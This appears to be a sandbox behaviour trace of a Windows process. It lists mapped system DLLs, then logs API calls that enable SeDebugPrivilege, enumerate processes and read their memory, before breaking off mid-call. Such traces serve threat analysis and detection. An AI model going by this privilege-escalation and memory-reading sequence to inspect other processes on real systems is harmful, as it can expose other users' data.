mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6412 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6413 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6414 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6415 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6416 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6417 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6418 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6419 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6420 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6421 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6422 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6423 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6424 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6425 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6426 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6427 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6428 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6429 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6430 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6431 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6432 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6433 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6434 start_va = 0xe00000 end_va = 0xe0dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "w32time.dll.mui" filename = "\\Windows\\System32\\en-US\\w32time.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\w32time.dll.mui") Region: id = 6435 start_va = 0x11d0000 end_va = 0x124bfff monitored = 0 entry_point = 0x11d1680 region_type = mapped_file name = "w32time.dll" filename = "\\Windows\\System32\\w32time.dll" (normalized: "c:\\windows\\system32\\w32time.dll") Region: id = 6436 start_va = 0xe00000 end_va = 0xe0dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "w32time.dll.mui" filename = "\\Windows\\System32\\en-US\\w32time.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\w32time.dll.mui") Region: id = 6437 start_va = 0x11d0000 end_va = 0x124bfff monitored = 0 entry_point = 0x11d1680 region_type = mapped_file name = "w32time.dll" filename = "\\Windows\\System32\\w32time.dll" (normalized: "c:\\windows\\system32\\w32time.dll") Region: id = 6438 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 6439 start_va = 0x11d0000 end_va = 0x1262fff monitored = 0 entry_point = 0x1240010 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 6440 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 6441 start_va = 0x11d0000 end_va = 0x1262fff monitored = 0 entry_point = 0x1240010 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 6442 start_va = 0xe00000 end_va = 0xe29fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 6443 start_va = 0x2a10000 end_va = 0x2cfbfff monitored = 0 entry_point = 0x2c6d010 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 6444 start_va = 0xe00000 end_va = 0xe29fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 6445 start_va = 0x2a10000 end_va = 0x2cfbfff monitored = 0 entry_point = 0x2c6d010 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 6446 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wevtsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\wevtsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wevtsvc.dll.mui") Region: id = 6447 start_va = 0x2a10000 end_va = 0x2bdffff monitored = 0 entry_point = 0x2a6cc30 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 6448 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wevtsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\wevtsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wevtsvc.dll.mui") Region: id = 6449 start_va = 0x2a10000 end_va = 0x2bdffff monitored = 0 entry_point = 0x2a6cc30 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 6450 start_va = 0xe00000 end_va = 0xe07fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 6451 start_va = 0x2a10000 end_va = 0x2bf5fff monitored = 0 entry_point = 0x2b66d00 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 6452 start_va = 0xe00000 end_va = 0xe07fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 6453 start_va = 0x2a10000 end_va = 0x2bf5fff monitored = 0 entry_point = 0x2b66d00 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 6454 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 6455 start_va = 0x11d0000 end_va = 0x1229fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 6456 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 6457 start_va = 0x11d0000 end_va = 0x1229fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 6458 start_va = 0xe00000 end_va = 0xe1afff monitored = 0 entry_point = 0xe04d80 region_type = mapped_file name = "vid.dll" filename = "\\Windows\\System32\\vid.dll" (normalized: "c:\\windows\\system32\\vid.dll") Region: id = 6459 start_va = 0xe20000 end_va = 0xe3bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vid.dll.mui" filename = "\\Windows\\System32\\en-US\\vid.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vid.dll.mui") Region: id = 6460 start_va = 0xe00000 end_va = 0xe1afff monitored = 0 entry_point = 0xe04d80 region_type = mapped_file name = "vid.dll" filename = "\\Windows\\System32\\vid.dll" (normalized: "c:\\windows\\system32\\vid.dll") Region: id = 6461 start_va = 0xe20000 end_va = 0xe3bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vid.dll.mui" filename = "\\Windows\\System32\\en-US\\vid.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vid.dll.mui") Region: id = 6462 start_va = 0xe00000 end_va = 0xe1afff monitored = 0 entry_point = 0xe04d80 region_type = mapped_file name = "vid.dll" filename = "\\Windows\\System32\\vid.dll" (normalized: "c:\\windows\\system32\\vid.dll") Region: id = 6463 start_va = 0xe20000 end_va = 0xe3bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vid.dll.mui" filename = "\\Windows\\System32\\en-US\\vid.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vid.dll.mui") Region: id = 6464 start_va = 0xe00000 end_va = 0xe01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 6465 start_va = 0x11d0000 end_va = 0x12adfff monitored = 0 entry_point = 0x1262b10 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 6466 start_va = 0xe00000 end_va = 0xe01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 6467 start_va = 0x11d0000 end_va = 0x12adfff monitored = 0 entry_point = 0x1262b10 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 6468 start_va = 0x7fffbfec0000 end_va = 0x7fffbfecefff monitored = 0 entry_point = 0x7fffbfec2970 region_type = mapped_file name = "perfos.dll" filename = "\\Windows\\System32\\perfos.dll" (normalized: "c:\\windows\\system32\\perfos.dll") Region: id = 7632 start_va = 0x1f0000 end_va = 0x1f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 7633 start_va = 0x7fffbc8c0000 end_va = 0x7fffbc8d1fff monitored = 0 entry_point = 0x7fffbc8c16b0 region_type = mapped_file name = "cbsapi.dll" filename = "\\Windows\\servicing\\CbsApi.dll" (normalized: "c:\\windows\\servicing\\cbsapi.dll") Thread: id = 116 os_tid = 0x14f8 [0192.394] malloc (_Size=0xb0) returned 0xe58fa0 [0192.394] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7fffcca30000 [0192.395] GetProcAddress (hModule=0x7fffcca30000, lpProcName="RtlInitUnicodeString") returned 0x7fffcca5db90 [0192.395] GetProcAddress (hModule=0x7fffcca30000, lpProcName="RtlFreeUnicodeString") returned 0x7fffcca601c0 [0192.396] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7fffccace270 [0192.396] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7fffccacd950 [0192.396] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtCreateFile") returned 0x7fffccacb820 [0192.396] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQuerySystemInformation") returned 0x7fffccacb440 [0192.396] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryDirectoryObject") returned 0x7fffccacd5d0 [0192.397] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryObject") returned 0x7fffccacaf80 [0192.397] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtOpenDirectoryObject") returned 0x7fffccacb880 [0192.397] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryInformationProcess") returned 0x7fffccacb0a0 [0192.397] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryInformationToken") returned 0x7fffccacb1a0 [0192.398] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtOpenFile") returned 0x7fffccacb3e0 [0192.398] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtClose") returned 0x7fffccacaf60 [0192.398] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtFsControlFile") returned 0x7fffccacb4a0 [0192.398] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryVolumeInformationFile") returned 0x7fffccacb6a0 [0192.398] malloc (_Size=0x18) returned 0xec9c00 [0192.398] GetCurrentThread () returned 0xfffffffffffffffe [0192.398] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x104d690 | out: TokenHandle=0x104d690*=0x414) returned 1 [0192.398] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x104d6cc | out: lpLuid=0x104d6cc*(LowPart=0x14, HighPart=0)) returned 1 [0192.400] RtlRestoreLastWin32Error () returned 0x2a9000 [0192.400] AdjustTokenPrivileges (in: TokenHandle=0x414, DisableAllPrivileges=0, NewState=0x104d6c8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0192.400] GetLastError () returned 0x0 [0192.400] CloseHandle (hObject=0x414) returned 1 [0192.400] malloc (_Size=0x8000) returned 0xe9afd0 [0192.400] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xe9afd0, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0xe9afd0, ResultLength=0x0) returned 0xc0000004 [0192.403] free (_Block=0xe9afd0) [0192.403] malloc (_Size=0x10000) returned 0xeced60 [0192.404] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0192.407] free (_Block=0xeced60) [0192.409] malloc (_Size=0x18000) returned 0xeced60 [0192.409] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0192.415] free (_Block=0xeced60) [0192.417] malloc (_Size=0x20000) returned 0xf1af50 [0192.417] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xf1af50, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0xf1af50, ResultLength=0x0) returned 0xc0000004 [0192.424] free (_Block=0xf1af50) [0192.426] malloc (_Size=0x28000) returned 0x2410080 [0192.427] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2410080, Length=0x28000, ResultLength=0x0 | out: SystemInformation=0x2410080, ResultLength=0x0) returned 0x0 [0192.432] _ui64tow_s (in: _Value=0x0, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0192.432] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="0") returned 1 [0192.432] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x97b9, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.432] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.433] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0192.433] CloseHandle (hObject=0x0) returned 0 [0192.434] _ui64tow_s (in: _Value=0x4, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0192.434] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4") returned 1 [0192.435] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.435] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.437] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0192.437] CloseHandle (hObject=0x0) returned 0 [0192.437] _ui64tow_s (in: _Value=0x48, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="72") returned 0x0 [0192.438] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="72") returned 2 [0192.438] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.438] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.439] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48) returned 0x0 [0192.439] CloseHandle (hObject=0x0) returned 0 [0192.439] _ui64tow_s (in: _Value=0x164, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="356") returned 0x0 [0192.440] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="356") returned 3 [0192.440] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.440] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x164) returned 0x0 [0192.441] CloseHandle (hObject=0x0) returned 0 [0192.442] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0192.442] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="452") returned 3 [0192.442] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.442] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.443] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0192.444] CloseHandle (hObject=0x0) returned 0 [0192.444] _ui64tow_s (in: _Value=0x208, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="520") returned 0x0 [0192.444] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="520") returned 3 [0192.445] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.445] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.445] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x208) returned 0x0 [0192.446] CloseHandle (hObject=0x0) returned 0 [0192.447] _ui64tow_s (in: _Value=0x210, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0192.447] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="528") returned 3 [0192.447] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.447] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.448] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0192.448] CloseHandle (hObject=0x0) returned 0 [0192.449] _ui64tow_s (in: _Value=0x24c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="588") returned 0x0 [0192.449] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="588") returned 3 [0192.449] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.449] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.450] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0x414 [0192.450] GetLastError () returned 0x0 [0192.450] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.450] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2a9018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.450] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.450] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x581f00, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.451] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x581c00, lpBuffer=0x104c5a0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.451] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, 